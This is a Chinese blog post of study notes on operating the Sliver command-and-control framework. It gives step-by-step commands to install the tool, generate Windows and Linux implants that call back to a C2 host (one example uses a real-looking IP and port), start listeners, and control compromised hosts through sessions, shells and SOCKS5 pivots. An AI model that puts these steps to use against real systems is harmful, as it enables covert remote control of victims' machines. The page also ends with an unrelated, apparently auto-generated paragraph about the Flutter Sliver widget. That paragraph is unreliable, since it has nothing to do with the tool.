学习笔记-sliver

sliver


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


项目地址

使用文档

相关文章


安装

官方一条命令版

# 安装
curl https://sliver.sh/install|sudo bash

# 连接(默认连接本地服务器)
sliver

# 如果默认连接本地失败,可能是服务没有开启,手动开启再连接即可
systemctl start sliver
sliver

使用

连接服务器后会进去到类似 pupy 的命令行交互界面,使用方法其实差不多

sliver 自 1.5 版本开始,支持2种操作模式 Session Mode/Beacon Mode

Beacon Mode 实现了一种异步通信方式,在这种方式中,木马程序定期检查服务器检索任务、执行它们并返回结果。

Session Mode 木马程序将根据底层 C2 协议使用持久连接或使用长轮询创建交互式实时会话。

生成 shell (http)

Session Mode

generate -h
generate --http example.com --save /tmp

# 指定平台
generate --http example.com --save /tmp --os win
generate --http example.com --save /tmp --os linux

Beacon Mode

generate beacon --http example.com --save /tmp

启动监听器

http -h
http --domain example.com

# 查看当前的监听器
jobs

# 关闭监听器
jobs -k [int]

示例

比如我服务器的外网 ip 为 1.14.5.14 ,监听器在 1919 端口,生成一个 windows 的木马

generate --http http://1.14.5.14:1919 --save /tmp --os win

# 开启一个基于 http 1919 端口的C2
http -l 1919

生成 shell (mtls)

generate --mtls example.com --save /tmp --os win

启动监听器

mtls
jobs

进入 shell

当有主机上线后,控制台会有log提示,我们可以运行 sessions 查看可控制的机器列表

sessions

使用 use 后面跟 session id 指定要控制的目标主机

use [session id]

选中 sessions 后,我们可用2种控制模式

interactive

交互式会话,在 sliver 中某些命令,例如 shell portfwd 仅适用于交互式会话

# 在选中 sessions 后 (仅beacon模式可用)
interactive

close

shell

# 在选中 sessions 后
shell

socks5

开启 socks5 代理

# 在进入 sessions 后 (仅 session 模式可用)
socks5 start

# 默认监听在 127.0.0.1 可自行指定监听的ip、端口、配置socks5认证
socks5 start --help

关闭 socks5 代理

socks5 stop -i [ID]

多人运动

服务端

/root/sliver-server operator --name f8x --lhost [服务端ip] --save f8x.cfg

用户端

# 导入服务端生成的配置文件
sliver import ./f8x.cfg

# 再次启动会让你选择使用哪个 server
sliver

GUI

使用和命令行 client 端一样,从服务端下载 cfg 文件导入即可

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Sliver是一种用于构建滚动效果的Widget。在Flutter中,滚动效果可以通过将子Widget包裹在一个滚动容器中来实现,而Sliver正是用来创建这样的滚动容器的。 Sliver4.2.2是Sliver的一个特定版本或常用的配置。具体来说,这个版本可能会包含了一些特定的修复或更新,通过使用这个版本,可以确保在滚动过程中的性能和用户体验得到最佳的保证。 在Sliver中,可以根据需要选择不同的配置,以满足不同的滚动需求。例如,SliverAppBar可以创建一个可以随着滚动而收缩的应用栏,SliverGrid可以创建一个可以滚动的网格布局,SliverList可以创建一个可以滚动的列表等等。 Sliver的工作原理是,它会根据滚动的位置动态生成和回收子Widget,以提高性能和减少内存消耗。滚动容器会根据屏幕大小和滚动位置自动调整子Widget的显示范围,只显示在屏幕内可见的部分,而不需要一次性加载所有的子Widget。 在使用Sliver时,需要注意一些常见的问题。例如,滚动容器的内容不要过于庞大,以免消耗过多的内存和CPU资源。另外,对于需要处理用户手势的滚动效果,应该正确处理滑动事件,以提供良好的用户体验。 总之,Sliver4.2.2是一个用于构建滚动效果的Widget版本,在Flutter中使用Sliver可以轻松创建各种类型的滚动容器,并且可以根据具体的需求进行自定义配置,以满足不同的滚动需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C-haidragon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值